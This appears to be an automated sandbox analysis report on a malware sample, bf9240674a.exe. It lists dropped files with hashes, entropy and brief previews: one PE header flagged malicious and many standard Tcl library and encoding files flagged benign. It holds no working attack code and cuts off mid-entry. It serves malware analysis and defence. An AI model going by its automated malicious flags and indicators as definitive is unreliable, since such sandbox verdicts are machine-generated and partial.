SHA-256:	23DECA371449E94C6C83BD97F369E203E04DABA9986F11113F9C55379B3288B8
SHA-512:	21D1BCD7D9306B9B7D2DCD755952D94A225161AD07FB9AD3A0CE550AC4462E4B215C716AB11700AA7D959463C297318296F4D442951E75E71DDDD1C851897075
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S..............^......]......K......L......[............A......Z......\......Y....Rich...........PE..L....x.]...........!.....0...........4.......@...........................................................................X.....x....P.......................`.....................................@...@............@..l............................text............0.................. ..`.rdata..=....@.......4..............@..@.data....;.......,..................@....rsrc........P.......&..............@..@.reloc..>....`......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\auto.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	20613
Entropy (8bit):	4.703115172401551
Encrypted:	false
SSDEEP:	384:XpJ4cB1RJtA61Z/kpP9leP9R5Hx396caBXhTEFHIW2ezBIdNnH:P4cB1RJtA61Z8pP/ePv396c+6HIW2ezU
MD5:	A987B2DB697B0EFA13E0B88149C98C40
SHA1:	9AD827E72FE82F46D350BE7368661740EFEBA50E
SHA-256:	F33B4E6CA8AC8A86ACE39AD57628D7588EF04EC3D8D86C700F54CCBA77B242FC
SHA-512:	7AC09C64CC909F12DDCD44E3EE4177F98DF8F4843FAAA6DF7667A4A290EB56122110292F080536E71CE5DF963EFD0CCC9614D0AF902306F843B2C56543882574
Malicious:	false
Reputation:	unknown
Preview:	# auto.tcl --.#.# utility procs formerly in init.tcl dealing with auto execution.# of commands and can be auto loaded themselves..#.# Copyright (c) 1991-1993 The Regents of the University of California..# Copyright (c) 1994-1998 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..# auto_reset --.#.# Destroy all cached information for auto-loading and auto-execution,.# so that the information gets recomputed the next time it's needed..# Also delete any commands that are listed in the auto-load index..#.# Arguments:.# None...proc auto_reset {} {. global auto_execs auto_index auto_path. if {[array exists auto_index]} {..foreach cmdName [array names auto_index] {.. set fqcn [namespace which $cmdName].. if {$fqcn eq ""} {continue}.. rename $fqcn {}..}. }. unset -nocomplain auto_execs auto_index ::tcl::auto_oldpath. if {[catch {llength $auto_path}]} {..set auto_p

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\clock.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	130093
Entropy (8bit):	4.999718814637411
Encrypted:	false
SSDEEP:	3072:BklVEuKDDeTrVG9DAui+ur0keli1IsQVesTImhrodLzpJnlUEMwlUsozHBSOyQai:LDDeTrVKAui+ur0keli1RaesTImhrMLW
MD5:	E7F4C5738A96282BD15DAEE004510B91
SHA1:	A68857DF1823BEBEE83B62740E9AD668DAC69043
SHA-256:	71966A6CECD4D718B8B6286573BF50539C1D4BFFAD26A1126D056A5DA48A66E4
SHA-512:	41EF9624077EF5DA0ED403DABE2A647586DAAD557B4FF8A5163EBE36E2E2C7C71EFFDE23F51AD98923327160030A3786B1662D3ABBF170679F4B52FC69D4BF50
Malicious:	false
Reputation:	unknown
Preview:	#----------------------------------------------------------------------.#.# clock.tcl --.#.#.This file implements the portions of the [clock] ensemble that.#.are coded in Tcl. Refer to the users' manual to see the description.#.of the [clock] command and its subcommands..#.#.#----------------------------------------------------------------------.#.# Copyright (c) 2004,2005,2006,2007 by Kevin B. Kenny.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#.#----------------------------------------------------------------------..# We must have message catalogs that support the root locale, and.# we need access to the Registry on Windows systems...uplevel \#0 {. package require msgcat 1.4. if { $::tcl_platform(platform) eq {windows} } {..if { [catch { package require registry 1.1 }] } {.. namespace eval ::tcl::clock [list variable NoRegistry {}]..}. }.}..# Put the library directory into the namespace

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\ascii.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	2.009389929214244
Encrypted:	false
SSDEEP:	12:5TUvEESVrVJ/eyN9j233V2NdWTeVCT0VbsV7EV7sYnVAMmVZyg851VqxsGkl/:5TUmJvRju3ShVbsZiAMiZyb7PF
MD5:	68D69C53B4A9F0AABD60646CA7E06DAE
SHA1:	DD83333DC1C838BEB9102F063971CCC20CC4FD80
SHA-256:	294C97175FD0894093B866E73548AE660AEED0C3CC1E73867EB66E52D34C0DD2
SHA-512:	48960E838D30401173EA0DF8597BB5D9BC3A09ED2CFFCB774BA50CB0B2ACCF47AAD3BA2782B3D4A92BEF572CBD98A3F4109FC4344DB82EB207BFDE4F61094D72
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: ascii, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E0000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\big5.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	92873
Entropy (8bit):	3.255311357682213
Encrypted:	false
SSDEEP:	768:3kkmY4kD7HGJxYXIdjQWTGzvKHBDViIM1sbh+dJE+FKw0sXlWVvDg21jj9:cGfKqIQCGzv8D7ksb2Ur79jj9
MD5:	9E67816F304FA1A8E20D2270B3A53364
SHA1:	9E35EBF3D5380E34B92FE2744124F9324B901DD3
SHA-256:	465AE2D4880B8006B1476CD60FACF676875438244C1D93A7DBE4CDE1035E745F
SHA-512:	EE529DA3511EB8D73465EB585561D54833C46B8C31062299B46F5B9EE7EB5BE473E630AA264F45B2806FC1B480C8ED39A173FF1756CB6401B363568E951F0637
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: big5, multi-byte.M.003F 0 89.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.0080008100820083008400850086008700880089008A008B008C008D008E008F.0090009100920093009400950096009700980099009A009B009C009D009E009F.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000000000000000000000000000.00000000000000000000000000000000000000000

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\cp1250.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	3.286986942547087
Encrypted:	false
SSDEEP:	24:CqTUmJvRju3ShVbsZiAMiZyb7Ptuja5z8twsDO4yT2H:JgmOEVIwAMiw/Ptuja5z8RDtyT2H
MD5:	79ACD9BD261A252D93C9D8DDC42B8DF6
SHA1:	FA2271030DB9005D71FAAD60B44767955D5432DD
SHA-256:	1B42DF7E7D6B0FEB17CB0BC8D97E6CE6899492306DD880C48A39D1A2F0279004
SHA-512:	607F21A84AE569B19DF42463A56712D232CA192E1827E53F3ACB46D373EF4165A38FFBF116E28D4EAAEF49B08F6162C7A1C517CCE2DFACA71DA07193FEFFFF06
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: cp1250, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.20AC0081201A0083201E2026202020210088203001602039015A0164017D0179.009020182019201C201D202220132014009821220161203A015B0165017E017A.00A002C702D8014100A4010400A600A700A800A9015E00AB00AC00AD00AE017B.00B000B102DB014200B400B500B600B700B80105015F00BB013D02DD013E017C.015400C100C2010200C40139010600C7010C00C9011800CB011A00CD00CE010E.01100143014700D300D4015000D600D70158016E00DA017000DC00DD016200DF.015500E100E2010300E4013A010700E7010D00E

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\cp1251.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	3.288070862623515
Encrypted:	false
SSDEEP:	24:CTTUmJvRju3ShVbsZiAMiZyb7P4DRrwFsC/+H+SAJlM9aHe3cmx:wgmOEVIwAMiw/PStwFz/T5+smx
MD5:	55FB20FB09C610DB38C22CF8ADD4F7B8
SHA1:	604396D81FD2D90F5734FE6C3F283F8F19AABB64
SHA-256:	2D1BED2422E131A140087FAF1B12B8A46F7DE3B6413BAE8BC395C06F0D70B9B0
SHA-512:	07C6640BB40407C384BCF646CC436229AEC77C6398D57659B739DC4E180C81A1524F55A5A8F7B3F671A53320052AD888736383486CC01DFC317029079B17172E
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: cp1251, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.04020403201A0453201E20262020202120AC203004092039040A040C040B040F.045220182019201C201D202220132014009821220459203A045A045C045B045F.00A0040E045E040800A4049000A600A7040100A9040400AB00AC00AD00AE0407.00B000B104060456049100B500B600B704512116045400BB0458040504550457.0410041104120413041404150416041704180419041A041B041C041D041E041F.0420042104220423042404250426042704280429042A042B042C042D042E042F.043004310432043304340435043604370438043

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\cp1252.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	3.2209074629945476
Encrypted:	false
SSDEEP:	24:C4TUmJvRju3ShVbsZiAMiZyb7PMmVurcNvPNNAkbnMH+tjg:rgmOEVIwAMiw/PMhrUok7zE
MD5:	5900F51FD8B5FF75E65594EB7DD50533
SHA1:	2E21300E0BC8A847D0423671B08D3C65761EE172
SHA-256:	14DF3AE30E81E7620BE6BBB7A9E42083AF1AE04D94CF1203565F8A3C0542ACE0
SHA-512:	EA0455FF4CD5C0D4AFB5E79B671565C2AEDE2857D534E1371F0C10C299C74CB4AD113D56025F58B8AE9E88E2862F0864A4836FED236F5730360B2223FDE479DC
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: cp1252, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.20AC0081201A0192201E20262020202102C62030016020390152008D017D008F.009020182019201C201D20222013201402DC21220161203A0153009D017E0178.00A000A100A200A300A400A500A600A700A800A900AA00AB00AC00AD00AE00AF.00B000B100B200B300B400B500B600B700B800B900BA00BB00BC00BD00BE00BF.00C000C100C200C300C400C500C600C700C800C900CA00CB00CC00CD00CE00CF.00D000D100D200D300D400D500D600D700D800D900DA00DB00DC00DD00DE00DF.00E000E100E200E300E400E500E600E700E800E

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\cp1253.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	3.3530146237761445
Encrypted:	false
SSDEEP:	24:CRTUmJvRju3ShVbsZiAMiZyb7PMuW24OrKUQQSqJWeIDmq:CgmOEVIwAMiw/PMuW2nKJQSqJWeI1
MD5:	2E5F553D214B534EBA29A9FCEEC36F76
SHA1:	8FF9A526A545D293829A679A2ECDD33AA6F9A90E
SHA-256:	2174D94E1C1D5AD93717B9E8C20569ED95A8AF51B2D3AB2BCE99F1A887049C0E
SHA-512:	44AB13C0D322171D5EE62946086058CF54963F91EC3F899F3A10D051F9828AC66D7E9F8055026E938DDD1B97A30D5D450B89D72F9113DEE2DBBB62DDBBBE456C
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: cp1253, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.20AC0081201A0192201E20262020202100882030008A2039008C008D008E008F.009020182019201C201D20222013201400982122009A203A009C009D009E009F.00A00385038600A300A400A500A600A700A800A9000000AB00AC00AD00AE2015.00B000B100B200B3038400B500B600B703880389038A00BB038C00BD038E038F.0390039103920393039403950396039703980399039A039B039C039D039E039F.03A003A1000003A303A403A503A603A703A803A903AA03AB03AC03AD03AE03AF.03B003B103B203B303B403B503B603B703B803B

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\cp1254.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	3.2357714075228494
Encrypted:	false
SSDEEP:	24:CWTUmJvRju3ShVbsZiAMiZyb7PMSrcmvPNNAkKMH+tZL/M:lgmOEVIwAMiw/PMSrrokKzR0
MD5:	35AD7A8FC0B80353D1C471F6792D3FD8
SHA1:	484705A69596C9D813EA361625C3A45C6BB31228
SHA-256:	BC4CBE4C99FD65ABEA45FBDAF28CC1D5C42119280125FBBD5C2C11892AE460B2
SHA-512:	CCA3C6A4B826E0D86AC10E45FFC6E5001942AA1CF45B9E0229D56E06F2600DDA0139764F1222C56CF7A9C14E6E6C387F9AB265CB9B936E803FECD8285871C70F
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: cp1254, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.20AC0081201A0192201E20262020202102C62030016020390152008D008E008F.009020182019201C201D20222013201402DC21220161203A0153009D009E0178.00A000A100A200A300A400A500A600A700A800A900AA00AB00AC00AD00AE00AF.00B000B100B200B300B400B500B600B700B800B900BA00BB00BC00BD00BE00BF.00C000C100C200C300C400C500C600C700C800C900CA00CB00CC00CD00CE00CF.011E00D100D200D300D400D500D600D700D800D900DA00DB00DC0130015E00DF.00E000E100E200E300E400E500E600E700E800E

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\cp1255.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	3.267336792625871
Encrypted:	false
SSDEEP:	24:CfTUmJvRju3ShVbsZiAMiZyb7PMI22iEePlNQhv6l50b:MgmOEVIwAMiw/PMI27EsQhvgg
MD5:	0419DBEE405723E7A128A009DA06460D
SHA1:	660DBE4583923CBDFFF6261B1FADF4349658579C
SHA-256:	F8BD79AE5A90E5390D77DC31CB3065B0F93CB8813C9E67ACCEC72E2DB2027A08
SHA-512:	FDD9F23A1B5ABBF973BEE28642A7F28F767557FE842AF0B30B1CF97CD258892F82E547392390A51900DC7FF5D56433549A5CB463779FC131E885B00568F86A32
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: cp1255, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.20AC0081201A0192201E20262020202102C62030008A2039008C008D008E008F.009020182019201C201D20222013201402DC2122009A203A009C009D009E009F.00A000A100A200A320AA00A500A600A700A800A900D700AB00AC00AD00AE00AF.00B000B100B200B300B400B500B600B700B800B900F700BB00BC00BD00BE00BF.05B005B105B205B305B405B505B605B705B805B9000005BB05BC05BD05BE05BF.05C005C105C205C305F005F105F205F305F40000000000000000000000000000.05D005D105D205D305D405D505D605D705D805D

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\cp1256.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	3.3332869352420795
Encrypted:	false
SSDEEP:	24:C0TUmJvRju3ShVbsZiAMiZyb7Ps0pPESLym/cwPm+ZMZjyco/fQIG/h:XgmOEVIwAMiw/Ps0FPLym/AsBfg/h
MD5:	0FFA293AA50AD2795EAB7A063C4CCAE5
SHA1:	38FEE39F44E14C3A219978F8B6E4DA548152CFD6
SHA-256:	BBACEA81D4F7A3A7F3C036273A4534D31DBF8B6B5CCA2BCC4C00CB1593CF03D8
SHA-512:	AB4A6176C8C477463A6CABD603528CEB98EF4A7FB9AA6A8659E1AA6FE3F88529DB9635D41649FBAD779AEB4413F9D8581E6CA078393A3042B468E8CAE0FA0780
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: cp1256, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.20AC067E201A0192201E20262020202102C62030067920390152068606980688.06AF20182019201C201D20222013201406A921220691203A0153200C200D06BA.00A0060C00A200A300A400A500A600A700A800A906BE00AB00AC00AD00AE00AF.00B000B100B200B300B400B500B600B700B800B9061B00BB00BC00BD00BE061F.06C1062106220623062406250626062706280629062A062B062C062D062E062F.063006310632063306340635063600D7063706380639063A0640064106420643.00E0064400E2064506460647064800E700E800E

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\cp1257.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	3.2734430397929604
Encrypted:	false
SSDEEP:	24:CNTUmJvRju3ShVbsZiAMiZyb7PtuWTfN641PaxUVG4da:ugmOEVIwAMiw/PtuWkgVfa
MD5:	A1CCD70248FEA44C0EBB51FB71D45F92
SHA1:	CC103C53B3BA1764714587EAEBD92CD1BC75194D
SHA-256:	4151434A714FC82228677C39B07908C4E19952FC058E26E7C3EBAB7724CE0C77
SHA-512:	74E4A13D65FAB11F205DB1E6D826B06DE421282F7461B273196FD7EECEE123EA0BD32711640B15B482C728966CC0C70FFC67AEDAD91566CA87CD623738E34726
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: cp1257, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.20AC0081201A0083201E20262020202100882030008A2039008C00A802C700B8.009020182019201C201D20222013201400982122009A203A009C00AF02DB009F.00A0000000A200A300A4000000A600A700D800A9015600AB00AC00AD00AE00C6.00B000B100B200B300B400B500B600B700F800B9015700BB00BC00BD00BE00E6.0104012E0100010600C400C501180112010C00C90179011601220136012A013B.01600143014500D3014C00D500D600D701720141015A016A00DC017B017D00DF.0105012F0101010700E400E501190113010D00E

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\cp1258.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	3.226508038800896
Encrypted:	false
SSDEEP:	24:CKlTUmJvRju3ShVbsZiAMiZyb7PMIX2jmvPNNXkohWiZo//:xgmOEVIwAMiw/PMIXXfkohnun
MD5:	BB010BFF4DD16B05EEB6E33E5624767A
SHA1:	6294E42ED22D75679FF1464FF41D43DB3B1824C2
SHA-256:	0CDB59E255CCD7DCF4AF847C9B020AEAEE78CE7FCF5F214EBCF123328ACF9F24
SHA-512:	2CD34F75DC61DC1495B0419059783A5579932F43DB9B125CADCB3838A142E0C1CD7B42DB71EF103E268206E31099D6BB0670E84D5658C0E18D0905057FF87182
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: cp1258, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.20AC0081201A0192201E20262020202102C62030008A20390152008D008E008F.009020182019201C201D20222013201402DC2122009A203A0153009D009E0178.00A000A100A200A300A400A500A600A700A800A900AA00AB00AC00AD00AE00AF.00B000B100B200B300B400B500B600B700B800B900BA00BB00BC00BD00BE00BF.00C000C100C2010200C400C500C600C700C800C900CA00CB030000CD00CE00CF.011000D1030900D300D401A000D600D700D800D900DA00DB00DC01AF030300DF.00E000E100E2010300E400E500E600E700E800E

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\cp437.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	3.447501009231115
Encrypted:	false
SSDEEP:	24:CFyTUmJvRju3ShVbsZiAMiZyb7P4jpuKBIrRjK8DvmH:wygmOEVIwAMiw/PYwjKgmH
MD5:	8645C2DFCC4D5DAD2BCD53A180D83A2F
SHA1:	3F725245C66050D39D9234BAACE9D047A3842944
SHA-256:	D707A1F03514806E714F01CBFCB7C9F9973ACDC80C2D67BBD4E6F85223A50952
SHA-512:	208717D7B1CBDD8A0B8B3BE1B6F85353B5A094BDC370E6B8396158453DD7DC400EE6C4D60490AD1A1F4C943E733298FC971AE30606D6BAB14FB1290B886C76D0
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: cp437, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.00C700FC00E900E200E400E000E500E700EA00EB00E800EF00EE00EC00C400C5.00C900E600C600F400F600F200FB00F900FF00D600DC00A200A300A520A70192.00E100ED00F300FA00F100D100AA00BA00BF231000AC00BD00BC00A100AB00BB.259125922593250225242561256225562555256325512557255D255C255B2510.25142534252C251C2500253C255E255F255A25542569256625602550256C2567.2568256425652559255825522553256B256A2518250C25882584258C25902580.03B100DF039303C003A303C300B503C403A60398

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\cp737.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	3.551534707521956
Encrypted:	false
SSDEEP:	24:CjTUmJvRju3ShVbsZiAMiZyb7P48KhQFhWeYDr1K8DZckbiY:WgmOEVIwAMiw/P9KhQFhWeY31Kk2Y
MD5:	C68ADEFE02B77F6E6B5217CD83D46406
SHA1:	C95EA4ED3FBEF013D810C0BFB193B15FA8ADE7B8
SHA-256:	8BFCA34869B3F9A3B2FC71B02CBAC41512AF6D1F8AB17D2564E65320F88EDE10
SHA-512:	5CCAACD8A9795D4FE0FD2AC6D3E33C10B0BCC43B29B45DFBA66FBD180163251890BB67B8185D806E4341EB01CB1CED6EA682077577CC9ED948FC094B099A662A
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: cp737, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.039103920393039403950396039703980399039A039B039C039D039E039F03A0.03A103A303A403A503A603A703A803A903B103B203B303B403B503B603B703B8.03B903BA03BB03BC03BD03BE03BF03C003C103C303C203C403C503C603C703C8.259125922593250225242561256225562555256325512557255D255C255B2510.25142534252C251C2500253C255E255F255A25542569256625602550256C2567.2568256425652559255825522553256B256A2518250C25882584258C25902580.03C903AC03AD03AE03CA03AF03CC03CD03CB03CE

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\cp775.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	3.3818286672990854
Encrypted:	false
SSDEEP:	24:CsOTUmJvRju3ShVbsZiAMiZyb7P4DBcqb67JnsUgqIPfJ:AgmOEVIwAMiw/PSzb67NsrLPR
MD5:	DE1282E2925870A277AF9DE4C52FA457
SHA1:	F4301A1340A160E1F282B5F98BF9FACBFA93B119
SHA-256:	44FB04B5C72B584B6283A99B34789690C627B5083C5DF6E8B5B7AB2C68903C06
SHA-512:	08173FC4E5FC9AA9BD1E296F299036E49C0333A876EA0BDF40BEC9F46120329A530B6AA57B32BC83C7AA5E6BD20DE9F616F4B17532EE54634B6799C31D8F668F
Malicious:	false
Reputation:	unknown
Preview:	# Encoding file: cp775, single-byte.S.003F 0 1.00.0000000100020003000400050006000700080009000A000B000C000D000E000F.0010001100120013001400150016001700180019001A001B001C001D001E001F.0020002100220023002400250026002700280029002A002B002C002D002E002F.0030003100320033003400350036003700380039003A003B003C003D003E003F.0040004100420043004400450046004700480049004A004B004C004D004E004F.0050005100520053005400550056005700580059005A005B005C005D005E005F.0060006100620063006400650066006700680069006A006B006C006D006E006F.0070007100720073007400750076007700780079007A007B007C007D007E007F.010600FC00E9010100E4012300E501070142011301560157012B017900C400C5.00C900E600C6014D00F6012200A2015A015B00D600DC00F800A300D800D700A4.0100012A00F3017B017C017A201D00A600A900AE00AC00BD00BC014100AB00BB.259125922593250225240104010C01180116256325512557255D012E01602510.25142534252C251C2500253C0172016A255A25542569256625602550256C017D.0105010D01190117012F01610173016B017E2518250C25882584258C25902580.00D300DF014C014300F500D500B5014401360137

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\encoding\cp850.enc

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	3.301196372002172
Encrypted:	false
